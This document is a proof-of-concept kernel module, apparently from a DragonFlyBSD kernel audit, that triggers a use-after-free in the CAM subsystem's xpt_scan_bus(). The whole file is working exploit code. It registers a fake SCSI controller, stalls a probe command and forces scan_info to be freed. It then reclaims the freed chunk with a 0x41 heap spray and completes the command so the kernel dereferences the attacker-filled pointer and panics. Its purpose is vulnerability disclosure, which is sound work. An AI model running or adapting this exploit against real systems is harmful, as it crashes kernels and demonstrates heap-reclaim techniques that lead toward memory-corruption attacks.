⬢ DragonFlyBSD Kernel Audit
DF-5240 / evilsim.c
← back to finding ↓ download raw
/*
 * DF-5240 PoC: xpt_scan_bus() frees `xpt_scan_bus_info *scan_info` while
 * previously-issued XPT_SCAN_LUN CCBs still reference it through
 * ccb_h.ppriv_ptr0.  When such a CCB later completes, xpt_scan_bus()
 * (case XPT_SCAN_LUN) dereferences the freed scan_info and, through it,
 * the freed PATH_INQ CCB (scan_info->cpi) and writes
 * scan_info->counter--.
 *
 * This module registers a tiny fake SIM ("evilsim") with:
 *   - max_target = 2, initiator_id = 7, max_lun = 0, parallel scan
 *     (hba_misc = 0, i.e. NO PIM_SEQSCAN), so all XPT_SCAN_LUN CCBs are
 *     issued up-front by the scan loop.
 *
 * Choreography:
 *   1. kldload: register bus, issue XPT_SCAN_BUS synchronously.
 *   2. The scan loop issues SCAN_LUN for target 0; the synchronous probe
 *      chain reaches our sim_action with the first INQUIRY.  We STALL that
 *      CCB (do not complete it) and set CAM_SIM_DEREGISTERED on the sim.
 *   3. The scan loop continues with target 1: xpt_create_path() now fails
 *      in xpt_alloc_device() (sim deregistered) =>
 *      cam_xpt.c xpt_scan_bus() takes the failure branch:
 *          kfree(scan_info, M_CAMXPT); xpt_free_ccb(&work_ccb->ccb_h)
 *      while target 0's SCAN_LUN CCB still has ppriv_ptr0 == scan_info.
 *   4. We spray the freed 24-byte xpt_scan_bus_info chunk with 0x41.
 *   5. We complete the stalled INQUIRY; the probe state machine runs to
 *      completion; probedone() pops the SCAN_LUN CCB and calls xpt_done()
 *      on it; xpt_scan_bus() case XPT_SCAN_LUN dereferences
 *      scan_info->cpi->max_lun  =>  read of 0x41414141414141xx => panic.
 *
 * Build:  see build.sh   (kldload ./evilsim.ko as root inside the guest)
 * Expected: kernel page fault / panic in xpt_scan_bus with a faulting
 * address of 0x4141414141414141 + offsetof(struct ccb_pathinq, max_lun).
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/kthread.h>
#include <sys/lock.h>
#include <sys/thread.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/cam_sim.h>
#include <bus/cam/cam_xpt.h>
#include <bus/cam/cam_xpt_sim.h>
#include <bus/cam/cam_xpt_periph.h>
#include <bus/cam/scsi/scsi_all.h>
#include <bus/cam/scsi/scsi_message.h>

MALLOC_DEFINE(M_EVILSIM, "evilsim", "evilsim spray");

static struct lock	ev_lock;
extern struct cam_periph	*xpt_periph;	/* from cam_xpt.c */
static struct cam_sim	*ev_sim;
static union ccb	*stall_ccb;	/* stalled INQUIRY of target 0 */
static int		stall_seen;	/* sim_action saw target-0 INQUIRY */
static int		failure_seen;	/* create_path failure branch ran */
static void		*spray[128];

static void ev_action(struct cam_sim *sim, union ccb *ccb);
static void ev_poll(struct cam_sim *sim);

/*
 * Standard 36-byte INQUIRY data: T_DIRECT, additional_length = 0
 * (no CmdQue -> probe skips MODE_SENSE, goes straight to serial VPD),
 * no VPD 0x80 support -> serial_num stays NULL, serial probe skipped.
 */
static u_int8_t ev_inq36[36] = {
	0x00,			/* T_DIRECT, qual 0 */
	0x00,			/* dev_qual2 */
	0x02,			/* version: SCSI-2 */
	0x02,			/* response format */
	0x00,			/* additional_length = 0 */
	0x00, 0x00,		/* reserved, spc2_flags */
	0x00,			/* flags: no CmdQue, no Sync */
	'E','V','I','L','S','I','M',' ',
	'O','O','B','T','E','S','T',' ',
	'1','.','0',' ',
};

static void
ev_complete_ok(union ccb *ccb)
{
	ccb->ccb_h.status = CAM_REQ_CMP;
	if ((ccb->ccb_h.func_code & XPT_FC_QUEUED) != 0)
		xpt_done(ccb);
}

static void
ev_complete_err(union ccb *ccb, cam_status st)
{
	ccb->ccb_h.status = st;
	if ((ccb->ccb_h.func_code & XPT_FC_QUEUED) != 0)
		xpt_done(ccb);
}

static void
ev_fill_pathinq(struct ccb_pathinq *cpi, struct cam_sim *sim)
{
	cpi->version_num = 1;
	cpi->hba_inquiry = 0;
	cpi->target_sprt = 0;
	cpi->hba_misc = 0;		/* parallel scan: NO PIM_SEQSCAN */
	cpi->hba_eng_cnt = 0;
	cpi->max_target = 2;		/* targets 0,1,2 */
	cpi->max_lun = 0;
	cpi->initiator_id = 7;
	cpi->unit_number = cam_sim_unit(sim);
	cpi->bus_id = cam_sim_bus(sim);
	cpi->base_transfer_speed = 3300;
	cpi->transport = XPORT_SPI;
	cpi->transport_version = 2;
	cpi->protocol = PROTO_SCSI;
	cpi->protocol_version = SCSI_REV_2;
	cpi->maxio = 65536;
	strncpy(cpi->sim_vid, "EVIL", SIM_IDLEN);
	strncpy(cpi->hba_vid, "EVIL", HBA_IDLEN);
	strncpy(cpi->dev_name, "evilsim", DEV_IDLEN);
}

static void
ev_action(struct cam_sim *sim, union ccb *ccb)
{
	struct ccb_hdr *ccbh = &ccb->ccb_h;

	switch (ccbh->func_code) {
	case XPT_PATH_INQ:
		ev_fill_pathinq(&ccb->cpi, sim);
		ccbh->status = CAM_REQ_CMP;
		break;			/* immediate CCB: no xpt_done */

	case XPT_GET_TRAN_SETTINGS:
	case XPT_SET_TRAN_SETTINGS:
		ccbh->status = CAM_REQ_INVALID;
		break;			/* immediate CCB: no xpt_done */

	case XPT_SCSI_IO:
	{
		struct ccb_scsiio *csio = &ccb->csio;
		u_int8_t *cdb;
		u_int32_t dxfer;

		if (ccbh->flags & CAM_CDB_POINTER)
			cdb = csio->cdb_io.cdb_ptr;
		else
			cdb = csio->cdb_io.cdb_bytes;
		dxfer = csio->dxfer_len;

		switch (cdb[0]) {
		case 0x12:	/* INQUIRY */
		{
			int evpd = cdb[1] & 0x01;
			int copy;

			/*
			 * The stall: the first SCSI command of the probe
			 * of target 0 (a standard INQUIRY, dxfer 36).
			 * Simulate a bus that is being detached right now
			 * (e.g. USB unplug racing the scan): mark the SIM
			 * deregistered so the *next* xpt_create_path() in
			 * the scan loop fails, and stall this CCB.
			 */
			if (!stall_seen && ccbh->target_id == 0 && !evpd) {
				stall_seen = 1;
				stall_ccb = ccb;
				sim->flags |= CAM_SIM_DEREGISTERED;
				kprintf("[EVILSIM] stalled INQUIRY for "
				    "target %d lun %d, SIM marked "
				    "DEREGISTERED\n", ccbh->target_id,
				    ccbh->target_lun);
				return;	/* NOT completed yet */
			}

			if (evpd && cdb[2] == SVPD_SUPPORTED_PAGE_LIST) {
				u_int8_t vpd[4] = { 0x00, 0x00, 0x00, 0x00 };
				/* length = 0 => serial number unsupported */
				copy = dxfer < 4 ? dxfer : 4;
				bcopy(vpd, csio->data_ptr, copy);
				csio->resid = dxfer - copy;
				csio->scsi_status = SCSI_STATUS_OK;
				ev_complete_ok(ccb);
				return;
			}
			/* standard inquiry (probe, DV, da/pass) */
			copy = dxfer < 36 ? dxfer : 36;
			bcopy(ev_inq36, csio->data_ptr, copy);
			csio->resid = dxfer - copy;
			csio->scsi_status = SCSI_STATUS_OK;
			ev_complete_ok(ccb);
			return;
		}
		case 0x00:	/* TEST UNIT READY */
		case 0x03:	/* REQUEST SENSE */
			if (cdb[0] == 0x03 && csio->data_ptr != NULL) {
				int copy = dxfer < 32 ? dxfer : 32;
				bzero(csio->data_ptr, copy);
				csio->resid = dxfer - copy;
			}
			csio->scsi_status = SCSI_STATUS_OK;
			ev_complete_ok(ccb);
			return;
		case 0x1a:	/* MODE SENSE(6) */
			if (csio->data_ptr != NULL) {
				int copy = dxfer < 24 ? dxfer : 24;
				bzero(csio->data_ptr, copy);
				csio->resid = dxfer - copy;
			}
			csio->scsi_status = SCSI_STATUS_OK;
			ev_complete_ok(ccb);
			return;
		default:
			ev_complete_err(ccb, CAM_REQ_INVALID);
			return;
		}
		/* NOTREACHED */
	}
	default:
		ev_complete_err(ccb, CAM_REQ_INVALID);
		break;
	}
}

static void
ev_poll(struct cam_sim *sim)
{
}

/*
 * Completion callback of the XPT_SCAN_BUS request CCB.
 */
static void
ev_scan_done(struct cam_periph *periph, union ccb *done_ccb)
{
	failure_seen = 1;
	kprintf("[EVILSIM] XPT_SCAN_BUS request completed "
	    "(create_path failure branch taken)\n");
	xpt_free_path(done_ccb->ccb_h.path);
	xpt_free_ccb(&done_ccb->ccb_h);
}

static void
ev_choreography(void *arg)
{
	struct cam_path *path;
	union ccb *ccb;
	cam_status status;
	int i;

	/*
	 * 1. Register the fake bus.
	 */
	ev_sim = cam_sim_alloc(ev_action, ev_poll, "evilsim", NULL, 0,
	    &ev_lock, 16, 16, NULL);
	if (ev_sim == NULL) {
		kprintf("[EVILSIM] cam_sim_alloc failed\n");
		return;
	}
	cam_sim_lock(&ev_lock);
	if (xpt_bus_register(ev_sim, 0) != CAM_SUCCESS) {
		kprintf("[EVILSIM] xpt_bus_register failed\n");
		cam_sim_unlock(&ev_lock);
		return;
	}

	/*
	 * 2. Trigger the bus scan synchronously.  Inside this call:
	 *    - target 0 SCAN_LUN issued, its INQUIRY stalls in ev_action,
	 *    - sim gets CAM_SIM_DEREGISTERED,
	 *    - target 1 xpt_create_path() fails =>
	 *      cam_xpt.c xpt_scan_bus() kfrees scan_info + PATH_INQ ccb.
	 */
	/*
	 * NB: the scan path MUST be created with xpt_periph (exactly like
	 * xptioctl()'s CAMIOCOMMAND and xptconfigfunc do): the failure
	 * branch of xpt_scan_bus() calls xpt_done(request_ccb), and
	 * xpt_done() dereferences path->periph->type.
	 */
	status = xpt_create_path(&path, xpt_periph, cam_sim_path(ev_sim),
	    CAM_TARGET_WILDCARD, CAM_LUN_WILDCARD);
	if (status != CAM_REQ_CMP) {
		kprintf("[EVILSIM] cannot create scan path: %#x\n", status);
		cam_sim_unlock(&ev_lock);
		return;
	}
	ccb = xpt_alloc_ccb();
	xpt_setup_ccb(&ccb->ccb_h, path, 5);
	ccb->ccb_h.func_code = XPT_SCAN_BUS;
	ccb->ccb_h.cbfcnp = ev_scan_done;
	xpt_action(ccb);

	kprintf("[EVILSIM] back from XPT_SCAN_BUS: stall_seen=%d "
	    "(scan_info has been freed while target-0 SCAN_LUN CCB is "
	    "still outstanding)\n", stall_seen);

	/*
	 * 3. Reclaim the freed 24-byte xpt_scan_bus_info chunk with 0x41.
	 *    (kfree'd and kmalloc'd on the same CPU => deterministic reuse)
	 */
	for (i = 0; i < 128; i++) {
		spray[i] = kmalloc(24, M_EVILSIM, M_INTWAIT | M_ZERO);
		memset(spray[i], 0x41, 24);
	}
	kprintf("[EVILSIM] sprayed 128 x 24-byte chunks with 0x41; "
	    "scan_info->cpi is now 0x4141414141414141\n");

	/*
	 * 4. Release the stalled INQUIRY => probe completes =>
	 *    probedone() xpt_done()s the outstanding SCAN_LUN CCB =>
	 *    xpt_scan_bus() case XPT_SCAN_LUN dereferences freed
	 *    scan_info->cpi->max_lun.
	 */
	if (stall_ccb != NULL) {
		int copy = stall_ccb->csio.dxfer_len;
		if (copy > 36)
			copy = 36;
		bcopy(ev_inq36, stall_ccb->csio.data_ptr, copy);
		stall_ccb->csio.resid = stall_ccb->csio.dxfer_len - copy;
		stall_ccb->csio.scsi_status = SCSI_STATUS_OK;
		stall_ccb->ccb_h.status = CAM_REQ_CMP;
		kprintf("[EVILSIM] completing stalled INQUIRY -> "
		    "expect page fault at 0x41414141414141xx NOW\n");
		xpt_done(stall_ccb);
	}
	cam_sim_unlock(&ev_lock);

	/* 5. Give the SWI a moment; if we survive, the UAF did not fire. */
	for (i = 0; i < 100; i++)
		tsleep(&ev_sim, 0, "evilwait", hz / 10);
	kprintf("[EVILSIM] survived 10s: NO PANIC (UAF did not trigger)\n");
	kthread_exit();
}

static int
evilsim_modevent(module_t mod, int type, void *data)
{
	int error = 0;

	switch (type) {
	case MOD_LOAD:
		lockinit(&ev_lock, "evilsim", 0, LK_CANRECURSE);
		kthread_create(ev_choreography, NULL, NULL, "evilsim");
		break;
	case MOD_UNLOAD:
		kprintf("[EVILSIM] unload not supported\n");
		error = EBUSY;
		break;
	default:
		error = EOPNOTSUPP;
		break;
	}
	return (error);
}

static moduledata_t evilsim_mod = { "evilsim", evilsim_modevent, NULL };
DECLARE_MODULE(evilsim, evilsim_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_DEPEND(evilsim, cam, 1, 1, 1);